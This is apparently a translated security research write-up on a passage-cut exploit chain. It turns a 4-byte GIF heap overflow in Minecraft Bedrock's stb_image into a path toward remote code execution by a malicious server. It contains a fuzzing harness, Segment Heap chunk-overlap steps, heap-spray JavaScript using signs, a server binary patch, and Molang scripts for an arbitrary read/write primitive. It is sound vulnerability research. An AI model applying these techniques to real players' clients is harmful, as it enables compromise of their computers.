攻克Minecraft:从4字节堆溢出到远程代码执行

osecio 发布于 2026-06-03 阅读 96

本文详细介绍了如何利用Minecraft Bedrock客户端的一个4字节堆溢出漏洞实现远程代码执行。

我们在 Minecraft Bedrock 中实现了 RCE,将一个 4 字节的堆溢出转变为对客户端的完全攻陷。了解一种通用的、Bedrock 特有的技术如何被用来绕过 ASLR 并获得任意读/写原语。

Pwning Minecraft: 从 4 字节堆溢出到 RCE 的标题图

目标

Minecraft 是有史以来最受欢迎的游戏之一,每天有数百万玩家,并且存在大量社区服务器被成千上万的人活跃游玩。再加上这一领域缺乏研究,这使其成为一个很有吸引力的目标。

它主要有两个版本:Minecraft Java Edition,使用 Java 编写,可运行于桌面平台(Windows、macOS、Linux);以及 Minecraft Bedrock Edition,主要使用 C++ 编写,运行于 PlayStation、Xbox 等主机平台、移动平台,也可在 Windows 上运行。

考虑到我们对内存破坏类漏洞更感兴趣,我们选择了 Bedrock Edition。更具体地说,我们决定探索 Windows 版本,因为这是我们最熟悉的调试环境。

上下文的选择

我们专注于恶意服务器 -> 连接客户端这一威胁模型,因为服务器可以控制许多输入,相比客户端->客户端攻击,这提供了更大且更容易触及的攻击面。

服务器可以控制大量状态,其中包括:整个世界以及其中所有实体、每个已连接客户端的状态(例如位置和视角角度),以及由服务器提供、供连接客户端下载和解析的资源包。

资源包

资源包是一种改变 Minecraft 外观的方式。它们可以为方块和实体指定自定义纹理和声音,同时还能控制客户端的实体动画。

服务器可以在客户端连接时向其提供一个自定义资源包,客户端可以选择下载并加载它。如果服务器将资源包设为强制,那么拒绝该资源包的客户端将不被允许连接。

这扩大了攻击面,使其包含图像和音频解析,而这两者在历史上都是内存破坏漏洞的常见来源。

寻找内存破坏漏洞

鉴于 Minecraft 是一个大型的、闭源的 C++ 代码库,我们希望避免不必要的逆向工程,因此我们首先查看了图像解析代码。

图像解析之所以有趣,是因为程序很少自己重新实现解码器,通常会使用第三方库。我们希望 Minecraft 使用的是一个我们可以阅读的开源库,这比逆向一个原生解码器要容易得多。

定位图像解析代码

找到处理图像解析代码的最简单方法是搜索预期的字符串,例如 PNGGIF,并查找使用这些子串的错误日志或其他消息。

搜索字符串 GIF 返回了一些有趣的结果:

image

这些结果中的大多数(甚至全部)看起来都像是被图像解析器使用的。我们在线搜索了这些字符串,发现它们与 stb_image.h 中使用的字符串完全一致。例如:bad Image Descriptor 的使用。

为了确认该库代码确实被用于加载图像,我们创建了一个简单的资源包,其中包含一张 GIF 图像,在 stbi__gif_load_next 处设置了断点,然后加载该资源包,这证实了它的使用:

image

STB Image Library

stb_image.h 历史上曾存在多个内存破坏漏洞,但已知的那些在后续修订中都已被修复。在这个库里寻找一个新的 0-day 看起来相对困难,因为它被广泛使用,并且在当时已经受到了充分审查。

因此,我们检查了 Minecraft 所使用的版本是否已经过时,如果是,先前报告的漏洞可能仍然适用。我们检查了 stb_image.h 的提交,并核对这些改动是否出现在 Minecraft 可执行文件中。最终,我们发现 Minecraft 使用的是一个相当旧的修订版本,大致早于 f1f077b2722f55e158cba020f0312ee2d13c463a 这个提交。

在当时,这个提交已经有 6 年历史,而其后已有公开报告的内存破坏漏洞。我们查看了这些已报告的漏洞,但没有找到一个既有趣又适用的,于是我们决定针对这个提交运行一个简单的 fuzzing harness。

模糊测试

这个 fuzzer 由一个非常简单的 AFL++ harness 组成:

#define STB_IMAGE_IMPLEMENTATION
#include "./stb/stb_image.h"

int main(int argc, char **argv) {
    int x, y, comp;
    unsigned char *ret;

    if (argc != 2) {
        return 1;
    }

    ret = stbi_load(argv[1], &x, &y, &comp, 0);
    if (ret == NULL) {
        return 1;
    }

    stbi_image_free(ret);

    return 0;
}

在启动 fuzzer 后不久,它就发现了一个有趣的 bug:

=================================================================
==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...
WRITE of size 1 at 0x52d000008800 thread T0
    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233
    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227
    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227
    [...]
    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326
    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443
    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573
    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989
    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088
    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174
    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164
    [...]

调查该发现

ASAN 输出显示,在 stb_image.h 的第 6233 行,程序尝试执行一次越界的单字节写入。查看附近源代码:

static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)
{
   stbi_uc *p, *c;
   int idx;

   [...]

   if (g->cur_y >= g->max_y) return;

   idx = g->cur_x + g->cur_y;
   p = &g->out[idx];
   g->history[idx / 4] = 1;          // OOB 写入

可以合理推测,idx 超出了 g->history 的边界,从而导致了一个单字节 OOB 写入(g->history[idx / 4] = 1)。这个单字节 OOB 很难被远程利用,但这是我们最初观察到的唯一破坏,因此我们继续深入调查。

由于 p 是在违规发生前由 g->out[idx] 立即计算出来的,我们考虑 idx 是否也可能对 g->out 来说是 OOB。请注意,计算地址 &g->out[idx] 本身并不会访问内存,因此 ASAN 不会对此发出警告。

如果我们注释掉 g->history[idx / 4] = 1 并重新运行该 fuzzing 输入,ASAN 会在同一个函数中的另一行报告另一个违规:

=================================================================
==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...
WRITE of size 1 at 0x7f0fe6e6c800 thread T0
    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237
    [...]

这对应于:

static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)
{
   [...]

   idx = g->cur_x + g->cur_y;
   p = &g->out[idx];
   g->history[idx / 4] = 1;

   c = &g->color_table[g->codes[code].suffix * 4];
   if (c[3] > 128) {
      p[0] = c[2];        // OOB 写入
      p[1] = c[1];
      p[2] = c[0];
      p[3] = c[3];
   }

这证实了 idxg->out 来说也是 OOB,在这里它导致了一个四字节 OOB 写入。四字节 OOB 写入依然不容易被远程利用,但它比单字节 OOB 明显更危险。

我们通读了 GIF 解析代码,以弄清楚被写入的值是否可控,并发现 g->color_table 是由 stbi__gif_parse_colortable 填充的:

static void stbi__gif_parse_colortable(
    stbi__context *s,
    stbi_uc pal[256][4],    // g->color_table
    int num_entries,
    int transp
) {
   int i;
   for (i=0; i < num_entries; ++i) {
      pal[i][2] = stbi__get8(s);
      pal[i][1] = stbi__get8(s);
      pal[i][0] = stbi__get8(s);
      pal[i][3] = transp == i ? 0 : 255;
   }
}

前三个字节从输入图像读取,而最后一个字节只能是 0255。但正如我们之前所见,只有当最后一个字节大于 128 时,OOB 写入才会发生:

   c = &g->color_table[g->codes[code].suffix * 4];
   if (c[3] > 128) {
      p[0] = c[2];
      p[1] = c[1];
      p[2] = c[0];
      p[3] = c[3];
   }

这意味着 stbi__gif_parse_colortable 必须将最后一个字节设置为 255,四字节 OOB 写入才会发生,也就是说我们可以控制溢出的前三个字节,而最后一个字节将始终是 255

在代码中我们可以看到,g->out 分配的大小由 g->wg->h 控制,而这两个值都是从输入文件本身读取的:

static stbi_uc *stbi__gif_load_next(...)
{
   [...]
   if (g->out == 0) {
      if (!stbi__gif_header(s, g, comp,0))     return 0;
      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);

最后,为了弄清楚 OOB 字节相对于已分配缓冲区写到了哪里,我们打印了 g->out 的地址范围以及 OOB 写入发生前 p 的值:

g->out address range: [0x75d00d114800, 0x75d00d135800)
[...]
p: 0x75d00d135800

p 有多次边界内写入,但最后一次写入恰好发生在 g->out 分配之后。

总结这次破坏

  • 一个单字节 0x01 的 OOB 写入
  • 一个紧挨着已分配缓冲区上方的 4 字节 OOB 写入
    • 前三个字节可控
    • 最后一个字节将是 255
    • 分配的大小可控
  • 这两种破坏都发生在一个短生命周期的分配上
    • 在图像解析过程之前刚刚分配
    • 在解析完成后立即释放

请注意,这个 bug 实际上之前已经被发现过(Github Issue),但我们当时错过了。它后来在这个提交中被修复。

利用

我们手头的内存破坏并不是最容易利用的,尤其是在有 ASLR 的远程目标上,但这是我们唯一拥有的。我们本可以去寻找另一个用于信息泄露的 bug,但那不够有趣,我们想看看是否能仅凭这个 4 字节内存破坏拿到 RCE。

显然,仅凭四个字节在这里不足以实现远程代码执行,因此我们开始寻找将该溢出转化为更强原语的方法。

寻找更强的原语

最初的想法是利用这个 4 字节 OOB 溢出到相邻堆块头部并攻击分配器,但我们当时并不熟悉 Windows 分配器内部机制,所以先开始做调查。

我们意识到 Minecraft 使用的是 Segment Heap,这是微软较新的堆实现,被内核使用,也是打包应用 / UWP 应用(例如 Minecraft Bedrock Edition)的默认堆。

Segment Heap

这种堆实现的内部机制此前已被多次研究过(例如 Yarden Shafir 的这个演讲),所以我们这里只总结与本文相关的两种子段类型。

Low Fragmentation Heap

Low Fragmentation Heap(LFH)在启用该大小的 LFH 后,会为 0x3ff0 字节及以下的分配提供服务。某个给定大小的 LFH 会在连续 17 次该大小分配后启用。

对我们来说最重要的是,在这个子段中分配的 chunk 没有 per-chunk header,并且 LFH 中两个相邻 chunk 的数据之间没有分配器元数据隔开。

              +-------------------------+
Chunk A ----->| 41 41 41 41 41 41 41 41 |
              |                         |
              | 41 41 41 41 41 41 41 41 |
              |                         |
              | 41 41 41 41 41 41 41 41 |
              |                         |
              | 41 41 41 41 41 41 41 41 |
              +-------------------------+
Chunk B ----->| 42 42 42 42 42 42 42 42 |
              |                         |
              | 42 42 42 42 42 42 42 42 |
              |                         |
              | 42 42 42 42 42 42 . . . |
              |                         |

这意味着 4 字节 OOB 写入可以覆盖紧邻其上的下一个 chunk 的前四个字节,使我们能够将目标指向 Minecraft 中堆分配的内部结构,而不是分配器。思路是,我们可以找到一个首字段是引用计数或长度字段之类的结构(例如),然后直接用这个溢出来破坏它。

Variable Size

这个子段用于大小从 0x40000x20_000 的分配。与 LFH 不同,分配器会将 chunk 元数据存储在已分配块的头部中。

                          +-------------------------+
            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |
                          +-------------------------+
Chunk A Data ------------>| 41 41 41 41 41 41 41 41 |
                          |                         |
                          | 41 41 41 41 41 41 41 41 |
                          |                         |
                          | 41 41 41 41 41 41 41 41 |
                          +-------------------------+
            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |
                          +-------------------------+
Chunk B Data ------------>| 42 42 42 42 42 42 42 42 |
                          |                         |
                          | 42 42 42 42 42 42 42 42 |
                          |                         |
                          | 42 42 42 42 42 42 . . . |
                          |                         |

这个头部 HEAP_VS_CHUNK_HEADER 包含块大小和分配状态等信息。关键在于,这个头部会与一个秘密 heap key 做 XOR 编码。由于这种编码,除非泄露出 heap key,否则用溢出伪造 chunk header 并不具有确定性。


此时有两条探索路径:在 LFH 中使用这个 4 字节溢出去攻击 Minecraft 结构,或者在 VS 中使用这个溢出去攻击分配器。

攻击分配器看起来很困难,因为 VS chunk header 是编码过的。幸运的是,Blue Frost Security 曾发表过一种技术,描述了如何在 VS heap 中利用 3-4 字节溢出可靠地产生重叠 chunk。

为了在 LFH 中攻击 Minecraft 结构,我们需要找到一个堆分配对象,其第一个字段可以用四个字节(或更少)伪造,候选包括引用计数器或长度字段。覆盖这样一个字段可以产生有用的原语(例如,通过破坏 refcount 产生 use-after-free,或者通过破坏长度字段产生更大的溢出 / OOB 读)。

无论哪种情况,在继续之前我们都需要一种喷射堆的方法。

寻找一种喷射堆的方法

我们需要找到一个对象,当服务器执行某个可控动作时,客户端会进行分配。理想情况下,服务器能够控制:

  • 分配的大小
  • 写入已分配缓冲区的数据
  • 分配的生命周期(即通过不同的服务器动作进行分配和释放)
  • 创建对象的数量(最好无上限)

并不是所有这些条件都是严格必要的,但一个满足所有条件的对象将非常适合用于堆喷射。最终,我们找到了我们正在寻找的东西。

Minecraft 告示牌

告示牌是 Minecraft 中一种可以显示任意文本的方块。一个世界中几乎没有告示牌数量上的限制(除了资源限制),并且它们的生命周期是完全可控的:创建一个告示牌会导致一次分配,而移除它会释放相关内存。

我们特别感兴趣的是客户端如何存储显示在告示牌上的文本。逆向客户端后,我们发现文本是存储在 std::string 中的。

在微软的 C++ 实现中,std::string 的结构大致如下:

struct string
{
    union {
        char* ptr;
        char buf[16];
    };
    size_t size;
    size_t capacity;
};

我们主要关注的是这个 union:当字符串长度适合放入 16 字节时使用 buf,而当字符串超过该大小时,ptr 指向一个堆分配的缓冲区。该已分配缓冲区只包含字符串的原始字节。

这意味着,对于每个文本长度超过 16 字节的告示牌,客户端都会分配一个大小等于字符串长度的堆缓冲区。

这使得告示牌完美符合我们的需求,我们可以完全控制分配大小、生命周期以及堆缓冲区内容。

使用服务器端脚本进行喷射

自动操作世界的最简单方式是通过服务器端行为包。这些包使用 JavaScript 编写,可以控制服务器的许多方面。

我们编写了 allocfree 辅助函数,它们会触发客户端中的一次分配,并在需要时释放它:

// 在客户端中分配告示牌文本
function alloc(size, fill="A") {
    for (let sign of signs) {
        if (sign.allocated || sign.removed) {
            continue;
        }

        sign.sign.setText(fill.repeat(size - 1));
        sign.allocated = true;
        return sign;
    }

    console.warn("No more allocs");
    return undefined;
}

// 释放客户端中已分配的告示牌
function free(sign) {
    if (sign == undefined || sign.allocated == false) {
        return;
    }

    sign.sign.setText("");
    sign.allocated = false;

    sign.block.setPermutation(
        BlockPermutation.resolve("minecraft:air")
    );
    sign.removed = true;
}

这些函数将用于执行堆喷射。在此之前,我们需要填充 signs 数组。为此,我们在玩家加入时生成一面告示牌墙,并在其离开后移除它:

let signs;

function create_wall() {
    signs = [];

    for (let current_y = 0; current_y < WALL_HEIGHT; current_y++) {
        for (let current_x = 0; current_x < WALL_WIDTH; current_x++) {

            [...]

            const sign_block = world
                .getDimension("overworld")
                .getBlock(sign_location);
            sign_block.setPermutation(
                BlockPermutation.resolve("minecraft:wall_sign", {
                    facing_direction: 3
                }
            ));
            let sign_component = sign_block
                .getComponent(BlockComponentTypes.Sign);

            signs.push({
                sign: sign_component,
                allocated: false,
                block: sign_block,
                removed: false
            });
        }
    }
}

function remove_wall() {
    signs = [];

    for (let current_y = 0; current_y < WALL_HEIGHT; current_y++) {
        for (let current_x = 0; current_x < WALL_WIDTH; current_x++) {

            [...]

            const sign_block = await wait_for_block(
                world.getDimension("overworld"),
                sign_location
            );
            sign_block.setPermutation(
                BlockPermutation.resolve("minecraft:air")
            );

            [...]
        }
    }
}

world.afterEvents.playerSpawn.subscribe((arg) => {
    create_wall();
});

world.beforeEvents.playerLeave.subscribe(async (arg) => {
    remove_wall();
});

这运行得很好,并产生了一个理想情况下客户端不应渲染的结构。因为在喷射期间显示并反复更新这么多告示牌会让客户端卡住,而这是我们想避免的。

image-min

阻止客户端渲染这面告示牌墙的方法很简单,只需在每个 tick 调整玩家的视角角度,本质上就是强迫客户端朝向告示牌墙的反方向看。

一个小障碍

在测试我们的堆喷射方法时,我们遇到了如下错误:

[Scripting] Error: Provided message is too long.
Max length is 512 and the provided message has length of 1024.
    at alloc (index.js:169)

当服务器可执行文件尝试为一个告示牌分配超过 512 字节的文本时,会抛出这个错误。这严重限制了我们的方法,因为这阻止了我们用实现前述 chunk overlap 技术所需的大块来喷射 VS heap。

在完全放弃这个想法之前,我们考虑了一种可能性:也许这个检查只发生在服务器端,而客户端可能不会验证其接收到的数据长度。

我们在 Bedrock 服务器可执行文件中搜索了这个错误消息,并定位到了长度验证逻辑:

image

虽然涉及的函数都没有名称,但可以清楚看出,无论实际长度是多少,我们都希望执行总是走 string_length <= 512 这条分支。否则就会抛出错误,客户端也就永远不会分配我们想要的 chunk。

这个比较的反汇编看起来像这样:

image

代码将 rax(字符串长度)与 0x200(十进制的 512)进行比较。然后执行 jbe,如果 rax 小于或等于 512,就跳转到地址 0x14275114c。目标位置包含通知客户端更新告示牌文本的逻辑,也就是我们每次都想走到的分支。

为了强制执行走这条路径,我们将 jbe 指令 patch 为无条件 jmp,从而确保无论比较结果如何,总是走正确的分支。

image

在 patch 服务器并以 1024 的大小调用 alloc 之后,该操作现在可以成功执行,客户端也会愉快地分配一个该大小的 chunk:

image


拥有一种喷射堆的方法非常好,现在我们可以使用前面提到的技术在 VS heap 中创建重叠 chunk,或者利用它来塑造 LFH,使得 4 字节溢出能够覆盖一个 Minecraft 内部结构。

当时,我们无法仅通过一个 4 字节 OOB 写入找到任何有用的 Minecraft 结构可以利用,因此我们转而尝试获取重叠 chunk。

重叠堆块

这次攻击在引用的博客文章中已有详细描述(这里),所以我们只给出一个高层概览。

核心思想是将一个与其上方其他 chunk 重叠的大 chunk 插入到 free list 中。为了理解这一点,需要先了解一些 _HEAP_VS_CHUNK_HEADER 结构布局的基础知识:

     +---------------------------+           +---------------+
+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |
     +---------------------------+           +---------------+
+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |
     +---------------------------+           +---------------+
+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |
     +---------------------------+           +---------------+
     |           . . .           |      +0x6 |Allocated      |
                                             +---------------+
                                             |     . . .     |

在偏移 0 处有一个头部 _HEAP_VS_CHUNK_HEADER_SIZE,其中包含 MemoryCostUnsafeSizeUnsafePrevSize 等字段。对于这次攻击,我们只关心 UnsafeSize 字段,它保存的是 chunk 的大小。具体来说,这个值是大小除以 0x10,因此对于大小为 0x4010 的 chunk,UnsafeSize 的值会是 0x401

这个 UnsafeSize 字段是一个 2 字节字段,位于相对于头部的偏移 0x2 处。因此,它可以被 4 字节 OOB 写入的最后两个字节完全覆盖。

这个字段使用一个我们不知道的随机 key 进行编码,所以我们用什么精确字节覆盖它并不重要,之后的大小会是随机的。也就是说,通过覆盖最小可能的 VS chunk(0x4010)中的 UnsafeSize,我们可以最大化解码后大小大于原始值的概率。由于解码后的大小可能落在 [0x10, 0xffff0] 范围内,因此它超过 0x4010 的概率是:

1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%

因此,解码后的结果大小大于原始 chunk 大小的概率大约是 98%。

考虑到内核堆与用户态堆之间存在细微差异,并且对于本文目的来说,最大化攻击成功率并不那么重要,我们将使用一种相较于引用博客文章中更简化的攻击方式。

重叠攻击概览

攻击的目标是覆盖我们控制的 VS chunk header 的前四个字节,在这里就是保存告示牌文本的那个分配。然后我们对被覆盖的 chunk 调用 free(),使其作为一个过大的 chunk 被插入 free list,从而用于制造重叠。

我们不知道远程客户端的精确堆布局,但其中很可能包含我们想要避免的 g->out 大小的 chunk 在 free list 中。如果使用了一个 g->out 大小的空闲 chunk,那么这个 4 字节 OOB 写入可能会破坏其上方某个我们无法控制的未知 chunk。

为了从 free list 中移除这些 g->out 大小的 chunk,我们分配许多相同大小的告示牌。分配器会先复用 free list 条目,然后在 free list 耗尽时创建新的 region。

在耗空 free list 之后,我们再用更多相同大小的 chunk 喷射 VS heap。如果 free list 已被清空,那么这些分配中的大多数将是连续的,产生许多相邻的告示牌分配,如下所示:

+--------+--------+--------+--------+--------+
|        |        |        |        |        |
| Sign A | Sign B | Sign C | Sign D | Sign F |
|        |        |        |        |        |
+--------+--------+--------+--------+--------+

接下来,我们通过释放每隔一个告示牌分配,在连续喷射中制造空洞。这会在我们想要的位置插入 g->out 大小的空闲 chunk,也就是已分配告示牌 chunk 的正下方:

            Free              Free
+--------+--------+--------+--------+--------+
|        |........|        |........|        |
| Sign A |........| Sign C |........| Sign F |
|        |........|        |........|        |
+--------+--------+--------+--------+--------+

当之后请求一个 g->out 分配时,分配器很可能会从我们插入的这些空洞中满足它。结果就是,下一个相邻的已分配 chunk 的 UnsafeSize 字段将被覆盖:

                           +--------+
            Free           |        |
+--------+--------+--------+ g->out +--------+
|        |........|        |        |        |
| Sign A |........| Sign C +--------+ Sign F |
|        |........|        |        |        |
+--------+--------+--------+        +--------+

一旦 UnsafeSize 被覆盖,g->out 分配会在之后立即被释放,恢复先前布局,但 UnsafeSize 字段已经被破坏:

                              UnsafeSize 已被覆盖
                                        ^
                                        |
            Free              Free      |
+--------+--------+--------+--------+---+----+
|        |........|        |........|        |
| Sign A |........| Sign C |........| Sign F |
|        |........|        |........|        |
+--------+--------+--------+--------+--------+

为了在下一阶段避免相邻 chunk 合并,我们再喷射额外的告示牌来填满连续区域中的空洞:

                              UnsafeSize 已被覆盖
                                        ^
                                        |
                                        |
+--------+--------+--------+--------+---+----+
|        |        |        |        |        |
| Sign A | Sign B | Sign C | Sign D | Sign F |
|        |        |        |        |        |
+--------+--------+--------+--------+--------+

最后,我们释放剩余的连续喷射区域。其中一个被释放的分配将具有被破坏的(且很可能过大)大小,从而给我们带来一个大得多的溢出:

                                       已释放的被覆盖 chunk
                                               |
                                    +----------+----------+
                                    |                     |
   Free              Free           v                     v
+--------+--------+--------+--------+--------+- - - - - - -
|........|        |........|        |........|
|........| Sign B |........| Sign D |........| 其他 chunk
|........|        |........|        |........|
+--------+--------+--------+--------+--------+- - - - - - -

这会产生一个比原始 4 字节 OOB 大得多的溢出原语。然而,在没有信息泄露的情况下,ASLR 仍然是一个大问题,而且很难找到一个理想的单一结构。

我们没有继续寻找简单结构,而是将注意力转向由服务器控制、在客户端执行的更复杂的脚本系统,最终找到了 Molang。

Molang

Molang 是一种 Minecraft 特有的脚本语言,专为简单数学运算和轻量级状态模型而设计。它通常控制客户端的实体动画,并且可以包含在由服务器下发的资源包中。官方 syntax guide 中有一个高层概览。

可用的基础类型很简单:数字是 32 位 float,另有一种字符串类型,但它只支持 ==!= 运算符。

变量通过在名称前加上 variable. 并赋值来定义。例如,要将 result 定义为 ab 的和:variable.result = variable.a + variable.b;

它支持 ||&&<> 等逻辑运算符,并使用类似三元表达式的代码块实现条件分支:

(variable.result == 3) ? {
    return 1;
} : {
    return 0;
}

如上所示,Molang 非常简单,但我们希望它足以作为第二阶段 payload,在客户端实现任意读写。

Molang 内部机制

我们最感兴趣的是变量是如何处理的。具体来说,我们想知道是否可以利用溢出来破坏一个变量,然后借助这个被破坏的变量执行任意读取,在 Molang 脚本内部泄露绕过 ASLR 所需的信息,并随后利用这些泄露来执行任意写入。

下面我们描述所涉及的结构及其内存布局。

MolangVariable 和 MolangScriptArg

每个声明的变量都会创建一个 MolangVariable 结构。简化后,它大致如下所示:

struct MolangVariable {

    struct HashedString {
        uint64_t variable_name_hash;
        std::string variable_name;
    };

    struct MolangScriptArg {
        uint32_t value_type;
        uint64_t value;
        std::vector<struct MolangScriptArg> struct_fields;

        [...]
    };
};

在内存中,一个 MolangVariable 实例看起来像这样:

      +---------------+---------------+
+0x00 |   FNV-1 hash  |std::string.buf|
      +---------------+---------------+
+0x10 |std::string.buf|std::string.len|
      +---------------+---------------+
+0x20 |std::string.cap|   Unknown     |
      +-------+-------+---------------+
+0x30 | Type  |Unused |Variable value |
      +-------+-------+---------------+
+0x40 |std::vector.buf|std::vector.len|
      +---------------+---------------+
+0x50 |std::vector.cap|   Unknown     |
      +---------------+---------------+
      |     . . .     |     . . .     |

作为参考,下面是该布局的调试器视图示例:

image

完整结构比图中展示的更大,包含更多字段,但其中很多与利用无关。

我们只关心从偏移 0x30 开始的 MolangScriptArg,因为它包含变量值。在上面的截图中,0x30 处的 value_type0(表示 float),而 0x38 处的 value0xbf2070c8

在赋值过程中,例如 variable.a = variable.bMolangScriptArg 的每个字段都会从变量 b 复制到 a。有趣的是,即使类型是 32 位 float,value 字段也总是作为 uint64_t 被复制。

每个实体都将其变量存储在一个 per-entity vector 中,称为 MolangVariableMap

MolangVariableMap

MolangVariableMap 本质上就是每个实体都持有的一个 std::vector<MolangVariable *>。为了理解它的内存,我们需要回忆一下 MSVC 的 std::vector 布局:

struct vector {
    void *buf;
    void *len;
    void *cap;
};

buf 指向已分配的元素数组,len 指向最后一个已使用元素之后的位置,cap 指向已分配缓冲区的末尾。值得注意的是,lencap 的类型并不是典型的整数大小类型,而都是指针。

一个包含三个变量指针外加一个未使用槽位的 vector 的布局示例如下:

+---------+         +--------------------+
|   buf   +-------> | MolangVariable A*  |
+---------+         +--------------------+
|   len   +----+    | MolangVariable B*  |
+---------+    |    +--------------------+
|   cap   |    |    | MolangVariable C*  |
+----+----+    |    +--------------------+
     |         +--> | Empty element slot |
     |              +--------------------+
     |                                   ^
     +-----------------------------------+

由于每个实体都可以独立创建和初始化变量,特定变量(例如 variable.result)在不同实体中的索引可能不同。为了解决这个问题,使用 MolangIndexMap 将全局变量名映射到正确的 per-entity 槽位。

MolangIndexMap

MolangIndexMap 是一个 per-entity 的 std::vector<uint16_t>。引擎维护着一个全局 hashmap,用于将变量名映射到全局索引。当客户端遇到类似 variable.result = 0 的语句时,它会:

  1. 在全局 hashmap 中检查 result
  2. 如果找到,就使用该全局索引在 MolangIndexMap 中查找 per-entity 索引
  3. 如果没找到,就创建一个新的全局条目,并将其赋值为 last_index + 1

这意味着,变量 result 的相同全局索引会映射到每个实体的 MolangIndexMap 中相同的位置,但实际的 MolangVariable 可能位于各个实体的 MolangVariableMap 中不同的槽位。Entity.MolangIndexMap[global_index] 存储的是变量 result 的 per-entity 索引(槽位)。

重要的是,我们发现 MolangIndexMap 中的索引会被信任,客户端并不会验证某个 per-entity 索引是否真的位于该实体 MolangVariableMap 的边界之内。这意味着,如果我们通过 chunk overlap 覆盖变量 result 的索引(只是一个例子,任何变量都可以),让它对该实体的 MolangVariableMap 来说变成越界值,那么我们就可以通过 variable.resultaddress + 0x38 执行读写。

构建 Molang 任意 R/W 原语

我们需要在某个可堆喷射对象中找到一个指针,以便在 Molang 中构造任意读/写原语。最终,我们想到使用 std::vector 的内部指针,具体来说,是 MolangVariableMap vector 的内部指针。

由于每个实体对象都是堆分配的,并且都包含一个 MolangVariableMap vector,我们意识到,也许可以覆盖一个变量索引,使其读取紧邻 MolangVariableMap 已分配缓冲区放置的实体对象中的 MolangVariableMap vector 的 buf 指针。

      +-------------+ <--+
+---> | variable.a  |    |
|     +-------------+    |
|     | variable.b  |    |
|     +-------------+    +- MolangVariableMap 已分配缓冲区
|     |    . . .    |    |
|     +-------------+    |
|     | variable.f  |    |
|     +-------------+ <--+--+
|     |             |       |
|     |             |       |
|     |             |       |
|     |             |       |
|     +------+------+       +- Entity Object
+-----+ buf  | len  |       |
      +------+------+       |
      | cap  |      |       |
      +------+      |       |
      +-------------+ <-----+

在上图场景中,MolangIndexMap 会将 variable.a 映射到索引 0variable.b 映射到索引 1,以此类推。如果我们将 variable.a 的索引覆盖为一个对 MolangVariableMap 来说越界的值,那么它就可以改而索引到上方实体对象中的 buf 字段。读取 variable.a 将返回从 MolangVariableMap 开始偏移 0x38 处存储的指针(在此图中对应 variable.f),而写入 variable.a 将覆盖该指针,从而破坏 variable.f

为了泄露 Minecraft 可执行文件的地址,我们可以递增 variable.avariable.a += 8),这会将 variable.f 所使用的指针向前推进 8 字节。Molang 脚本会重复这一过程,直到在堆中找到一个 vtable 指针。此时,我们就可以通过设置 variable.a = variable.exe_leak + <offset> 将任意值写入 Minecraft 进程中的可写区域,这会把 variable.f 的指针更新为我们选择的地址,而写入 variable.f,例如 variable.f = 1337,则会将值 1337 写入该计算地址偏移 0x38 的位置。

测试这个想法

我们通过手动添加一个指向 MolangVariableMap 起始位置的指针,并修改某个变量的索引,让它索引这个越界指针来测试这个想法。它几乎成功了,下面是 Molang 脚本执行前 MolangVariableMap 已分配缓冲区的状态:

image

这是执行后的状态:

image

作为参考,这是包含我们 Molang 的相关实体 json 文件的样子:

{
  "format_version": "1.10.0",
  "minecraft:client_entity": {
    "description": {
      "identifier": "minecraft:leash_knot",

      [...],

      "scripts": {
        "initialize": [
          "variable.a = 0;",
          "variable.b = 0;",
          "variable.c = 0;",
          [...]
        ],
        "pre_animation": [
          "variable.a = 2.310732e-27;"
        ]
      },
    }
  }
}

如上所示,偏移 0x38 处某个变量的指针被修改了,核心概念是有效的。在 MolangScriptArg 复制期间,偏移 0x38 上方其他一些变量的指针被移除了,但这没关系,因为这些变量是我们控制的,我们可以在执行期间简单地不更新它们。然而,我们还发现了这种方法的其他问题。

如前所述,Molang 中唯一的数字类型是 32 位 float,这会导致两个主要问题:

  • 由于 ASLR,指针递增是不一致的。如果地址的低 32 位大于 FLT_MAX,该值就会变成无效 float,导致递增操作失败。
  • 如前所述,在赋值期间,MolangScriptArg 字段会被复制,而 value 字段总是作为 uint64_t 被复制。由于我们的源 MolangScriptArg(计算 rvalue)只有低 32 位被填充(因为类型是 32 位 float),目标地址的高 32 位总会被清零。

由于这些问题,仅靠这个想法是行不通的。我们需要调整方法,或者想出一个全新的方案。

扩展这个想法

如前所述,MolangScriptArgtype 字段是一个 uint32_t。在赋值期间,高 32 位不会被触碰,因此会保持未初始化状态。这一点可以在前面的调试器截图中观察到,value 字段正下方的那 32 位在 Molang 执行前后都保持不变。

基于这一点,我们认为可以不只破坏一个变量,而是破坏两个变量。计划是利用一个被破坏的变量修改某个变量指针的低 32 位,再利用另一个指向 MolangVariableMap 已分配缓冲区 + 4 的被破坏变量恢复高 32 位。

在下面的例子中,variable.a 指向 MolangVariableMap,而 variable.b 指向 MolangVariableMap + 4

                         variable.f 指针
                                 |
                   +-------------+-------------+
                   v                           v

                   +-------------+-------------+
                   | a0 bb cc dd | 80 1c 00 00 |
                   +-------------+-------------+
                    ^             ^
+-------------+     |             |
| variable.a  +-----+             |
+-------------+                   |
| variable.b  +-------------------+
+-------------+\
|    . . .    |

这里,variable.avalue 字段从 variable.f 指针的低 32 位开始,而 variable.b 从高 32 位开始。这意味着我们可以将 variable.f 指针的高 32 位存储在一个单独的变量中:

